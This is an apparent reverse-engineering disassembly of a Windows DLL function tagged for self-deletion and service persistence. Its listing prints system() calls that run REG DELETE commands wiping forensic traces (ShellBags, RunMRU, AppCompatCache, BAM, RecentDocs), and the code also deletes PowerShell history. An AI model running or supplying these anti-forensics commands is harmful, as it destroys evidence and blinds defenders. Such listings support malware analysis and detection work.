Function at 0x1800315a0
Capabilities:
Delete file
Execute command
Get session user name
Persist via windows service
Self delete
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x8d8]
sub rsp, 0x9b0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1800ad040]
xor rax, rsp
mov qword [rbp + 0x890], rax
xor ebx, ebx
lea rdx, str.C:_users__username__Searches_Indexed_Locations.search_ms
lea rcx, [rbp + 0x230]
call fcn.180034460
nop
lea rdx, str.C:_Users__username__AppData_Roaming_Microsoft_Windows_PowerShell_PSReadLine
lea rcx, [rbp + 0x208]
call fcn.180034460
nop
lea rcx, [rbp + 0x208]
call fcn.180031530
test al, al
je 0x180031625
lea rdx, str.Folder_deleted_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x180031633
lea rdx, str.Failed_to_delete_folder.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180037270
lea rdx, [0x180037450]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x230]
call fcn.180031530
test al, al
je 0x180031668
lea rdx, str.Folder_deleted_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x180031676
lea rdx, str.Failed_to_delete_folder.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180037270
lea rdx, [0x180037450]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x1c0], 0x64
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x710]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x1800316d0
lea rdx, str.Error_getting_user_SID.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180037270
lea rdx, [0x180037450]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.REG_DELETE_HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerRecentDocs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_LOCAL_MACHINESOFTWAREClientsStartMenuInternet
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRUdll
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bam
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFileExts.dllOpenWithList
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareClassesLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareClassesLocal_SettingsSoftwareMicrosoftWindowsShellBagMRU___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareClassesLocal_SettingsSoftwareMicrosoftWindowsShellBags___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellBagMRU___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellBags___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32FirstFolder___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRU___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRULegacy___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRU___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRU_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession_ManagerAppCompatCache___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001ControlSession_ManagerAppCompatCache___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftRADARHeapLeakDetectionDiagnosedApplications___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftRADARHeapLeakDetectionDiagnosedApplications_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea rax, [rbp + 0x710]
mov rsi, 0xffffffffffffffff
mov r14, rsi
inc r14
cmp byte [rax + r14], 0
jne 0x1800317f6
movabs rdi, 0x7fffffffffffffff
cmp r14, rdi
ja 0x180033baa
movabs rax, 0x8000000000000000
mov ecx, 0x16
cmp r14, 0xf
ja 0x180031855
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], 0xf
mov r8, r14
lea rdx, [rbp + 0x710]
lea rcx, [rsp + 0x38]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + r14 + 0x38], 0
jmp 0x1800318e3
mov r15, r14
or r15, 0xf
cmp r15, rdi
jbe 0x180031888
mov r15, rdi
add rax, 0x27
mov rcx, rax
call fcn.180038a50
test rax, rax
je 0x180031b01
lea r12, [rax + 0x27]
and r12, 0xffffffffffffffe0
mov qword [r12 - 8], rax
jmp 0x1800318bd
cmp r15, rcx
cmovb r15, rcx
lea rcx, [r15 + 1]
test rcx, rcx
jne 0x18003189d
mov r12, rbx
jmp 0x1800318bd
cmp rcx, 0x1000
jb 0x1800318b5
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180033b7a
jmp 0x180031868
call fcn.180038a50
mov r12, rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], r15
mov r8, r14
lea rdx, [rbp + 0x710]
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [r12 + r14], 0
mov r8, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
sub rax, r8
lea rdx, [0x1800a0ebf]
mov r12d, 0x17
lea r15, str.REG_DELETE__HKEY_USERS_
cmp rax, r12
jb 0x180031981
lea rax, [r8 + 0x17]
mov qword [rsp + 0x48], rax
lea r14, [rsp + 0x38]
cmp rcx, 0xf
cmova r14, qword [rsp + 0x38]
cmp rdx, r14
jbe 0x180031944
lea rax, [r14 + r8]
cmp r15, rax
ja 0x180031944
cmp r14, r15
ja 0x18003193c
mov r13, rbx
jmp 0x180031947
mov r13, r14
sub r13, r15
jmp 0x180031947
mov r13, r12
inc r8
lea rcx, [r14 + 0x17]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r13
mov rdx, r15
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r8, r12
sub r8, r13
lea rdx, [r15 + 0x17]
add rdx, r13
lea rcx, [r14 + r13]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x38]
jmp 0x180031998
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r15
mov rdx, r12
lea rcx, [rsp + 0x38]
call fcn.180038130
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x128], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x118], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x128], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], rbx
mov byte [rax], 0
mov r8d, 0x40
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionSearchRecentApps___f
lea rcx, [rbp + 0x118]
call fcn.180036dc0
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x48], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x48], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0xf
cmova rcx, qword [rbp + 0x38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x180031a69
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031a64
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031a64
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
movdqa xmm6, xmmword [0x1800a4dd0]
movdqu xmmword [rbp + 0x48], xmm6
mov byte [rbp + 0x38], 0
mov rdx, qword [rbp + 0x130]
cmp rdx, 0xf
jbe 0x180031abe
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031ab9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031ab9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
movdqu xmmword [rbp + 0x128], xmm6
mov byte [rbp + 0x118], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x180031b0d
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031b08
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031b08
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
lea rax, [rbp + 0x710]
mov r14, rsi
nop dword [rax + rax]
inc r14
cmp byte [rax + r14], 0
jne 0x180031b30
cmp r14, rdi
ja 0x180033bb0
cmp r14, 0xf
ja 0x180031b76
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], 0xf
mov r8, r14
lea rdx, [rbp + 0x710]
lea rcx, [rsp + 0x58]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + r14 + 0x58], 0
jmp 0x180031c22
mov r13, r14
or r13, 0xf
cmp r13, rdi
jbe 0x180031bb5
mov r13, rdi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.180038a50
mov rcx, rax
test rax, rax
je 0x180031e53
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180031bf2
cmp r13, 0x16
mov eax, 0x16
cmovb r13, rax
lea rcx, [r13 + 1]
test rcx, rcx
jne 0x180031bd5
mov rax, rbx
mov qword [rsp + 0x30], rbx
jmp 0x180031bf7
cmp rcx, 0x1000
jb 0x180031bed
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180033b80
jmp 0x180031b93
call fcn.180038a50
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], r13
mov r8, r14
lea rdx, [rbp + 0x710]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x30]
mov byte [rax + r14], 0
mov r8, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
sub rax, r8
cmp rax, 0x14
jb 0x180031cd0
lea rax, [r8 + 0x14]
mov qword [rsp + 0x68], rax
lea r14, [rsp + 0x58]
cmp rcx, 0xf
cmova r14, qword [rsp + 0x58]
lea rax, [0x1800a0f14]
lea rcx, str.REG_ADD__HKEY_USERS_
cmp rax, r14
jbe 0x180031c82
lea rax, [r14 + r8]
cmp rcx, rax
ja 0x180031c82
cmp r14, rcx
ja 0x180031c7a
mov r13, rbx
jmp 0x180031c88
mov r13, r14
sub r13, rcx
jmp 0x180031c88
mov r13d, 0x14
inc r8
lea rcx, [r14 + 0x14]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r13
lea rdx, str.REG_ADD__HKEY_USERS_
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x14
sub r8, r13
lea rdx, str.REG_ADD__HKEY_USERS_
add rdx, 0x14
add rdx, r13
lea rcx, [r14 + r13]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x58]
jmp 0x180031cf2
mov eax, 0x14
mov qword [rsp + 0x28], rax
lea rcx, str.REG_ADD__HKEY_USERS_
mov qword [rsp + 0x20], rcx
mov edx, eax
lea rcx, [rsp + 0x58]
call fcn.180038130
xorps xmm0, xmm0
movups xmmword [rbp + 0x138], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x148], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x138], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x148], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], rbx
mov byte [rax], 0
mov r8d, 0x3d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionSearchRecentApps_
lea rcx, [rbp + 0x138]
call fcn.180036dc0
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x68], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x68], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0xf
cmova rcx, qword [rbp + 0x58]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x70]
cmp rdx, 0xf
jbe 0x180031dc3
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031dbe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031dbe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
movdqu xmmword [rbp + 0x68], xmm6
mov byte [rbp + 0x58], 0
mov rdx, qword [rbp + 0x150]
cmp rdx, 0xf
jbe 0x180031e10
inc rdx
mov rcx, qword [rbp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031e0b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031e0b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
movdqu xmmword [rbp + 0x148], xmm6
mov byte [rbp + 0x138], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x180031e5f
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031e5a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031e5a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
lea rax, [rbp + 0x710]
mov r14, rsi
nop dword [rax]
inc r14
cmp byte [rax + r14], 0
jne 0x180031e80
cmp r14, rdi
ja 0x180033bb6
cmp r14, 0xf
ja 0x180031ec4
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], 0xf
mov r8, r14
lea rdx, [rbp + 0x710]
lea rcx, [rsp + 0x78]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + r14 + 0x78], 0
jmp 0x180031f6e
mov r13, r14
or r13, 0xf
cmp r13, rdi
jbe 0x180031f03
mov r13, rdi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.180038a50
mov rcx, rax
test rax, rax
je 0x1800321aa
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180031f40
cmp r13, 0x16
mov eax, 0x16
cmovb r13, rax
lea rcx, [r13 + 1]
test rcx, rcx
jne 0x180031f23
mov rax, rbx
mov qword [rsp + 0x30], rbx
jmp 0x180031f45
cmp rcx, 0x1000
jb 0x180031f3b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180033b86
jmp 0x180031ee1
call fcn.180038a50
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], r13
mov r8, r14
lea rdx, [rbp + 0x710]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x30]
mov byte [rax + r14], 0
mov r8, qword [rbp - 0x78]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
sub rax, r8
cmp rax, 0x52
jb 0x180032019
lea rax, [r8 + 0x52]
mov qword [rbp - 0x78], rax
lea r14, [rsp + 0x78]
cmp rcx, 0xf
cmova r14, qword [rsp + 0x78]
lea rax, [0x1800a0f82]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_
cmp rax, r14
jbe 0x180031fcb
lea rax, [r14 + r8]
cmp rcx, rax
ja 0x180031fcb
cmp r14, rcx
ja 0x180031fc3
mov r13, rbx
jmp 0x180031fd1
mov r13, r14
sub r13, rcx
jmp 0x180031fd1
mov r13d, 0x52
inc r8
lea rcx, [r14 + 0x52]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r13
lea rdx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x52
sub r8, r13
lea rdx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_
add rdx, 0x52
add rdx, r13
lea rcx, [r14 + r13]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x78]
jmp 0x18003203b
mov ecx, 0x52
mov qword [rsp + 0x28], rcx
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_
mov qword [rsp + 0x20], rax
mov edx, ecx
lea rcx, [rsp + 0x78]
call fcn.180038130
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x168], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x158], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x168], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], rbx
mov byte [rax], 0
mov r8d, 8
lea rdx, str.___va__f
lea rcx, [rbp + 0x158]
call fcn.180036dc0
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x88], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x88], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x78]
cmp qword [rbp + 0x90], 0xf
cmova rcx, qword [rbp + 0x78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x90]
cmp rdx, 0xf
jbe 0x180032118
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032113
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032113
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
movdqu xmmword [rbp + 0x88], xmm6
mov byte [rbp + 0x78], 0
mov rdx, qword [rbp + 0x170]
cmp rdx, 0xf
jbe 0x180032168
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032163
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032163
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
movdqu xmmword [rbp + 0x168], xmm6
mov byte [rbp + 0x158], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x1800321b6
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800321b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800321b1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
lea rax, [rbp + 0x710]
mov r14, rsi
nop
inc r14
cmp byte [rax + r14], 0
jne 0x1800321d0
cmp r14, rdi
ja 0x180033bbc
cmp r14, 0xf
ja 0x180032213
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], 0xf
mov r8, r14
lea rdx, [rbp + 0x710]
lea rcx, [rbp - 0x68]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + r14 - 0x68], 0
jmp 0x1800322bc
mov r13, r14
or r13, 0xf
cmp r13, rdi
jbe 0x180032252
mov r13, rdi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.180038a50
mov rcx, rax
test rax, rax
je 0x180032505
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x18003228f
cmp r13, 0x16
mov eax, 0x16
cmovb r13, rax
lea rcx, [r13 + 1]
test rcx, rcx
jne 0x180032272
mov rax, rbx
mov qword [rsp + 0x30], rbx
jmp 0x180032294
cmp rcx, 0x1000
jb 0x18003228a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180033b8c
jmp 0x180032230
call fcn.180038a50
mov qword [rsp + 0x30], rax
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], r13
mov r8, r14
lea rdx, [rbp + 0x710]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x30]
mov byte [rax + r14], 0
mov r8, qword [rbp - 0x58]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
sub rax, r8
cmp rax, 0x4e
jb 0x180032364
lea rax, [r8 + 0x4e]
mov qword [rbp - 0x58], rax
lea r14, [rbp - 0x68]
cmp rcx, 0xf
cmova r14, qword [rbp - 0x68]
lea rax, [0x1800a0fde]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamUserSettings_
cmp rax, r14
jbe 0x180032317
lea rax, [r14 + r8]
cmp rcx, rax
ja 0x180032317
cmp r14, rcx
ja 0x18003230f
mov r13, rbx
jmp 0x18003231d
mov r13, r14
sub r13, rcx
jmp 0x18003231d
mov r13d, 0x4e
inc r8
lea rcx, [r14 + 0x4e]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r13
lea rdx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamUserSettings_
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x4e
sub r8, r13
lea rdx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamUserSettings_
add rdx, 0x4e
add rdx, r13
lea rcx, [r14 + r13]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x68]
jmp 0x180032385
mov ecx, 0x4e
mov qword [rsp + 0x28], rcx
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamUserSettings_
mov qword [rsp + 0x20], rax
mov edx, ecx
lea rcx, [rbp - 0x68]
call fcn.180038130
xorps xmm0, xmm0
movups xmmword [rbp + 0x178], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x188], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x178], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x188], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], rbx
mov byte [rax], 0
mov r8d, 8
lea rdx, str.___va__f
lea rcx, [rbp + 0x178]
call fcn.180036dc0
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x98], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x98]
cmp qword [rbp + 0xb0], 0xf
cmova rcx, qword [rbp + 0x98]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0xf
jbe 0x180032471
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003246c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18003246c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
movdqu xmmword [rbp + 0xa8], xmm6
mov byte [rbp + 0x98], 0
mov rdx, qword [rbp + 0x190]
cmp rdx, 0xf
jbe 0x1800324c4
inc rdx
mov rcx, qword [rbp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800324bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800324bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
movdqu xmmword [rbp + 0x188], xmm6
mov byte [rbp + 0x178], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x180032511
inc rdx
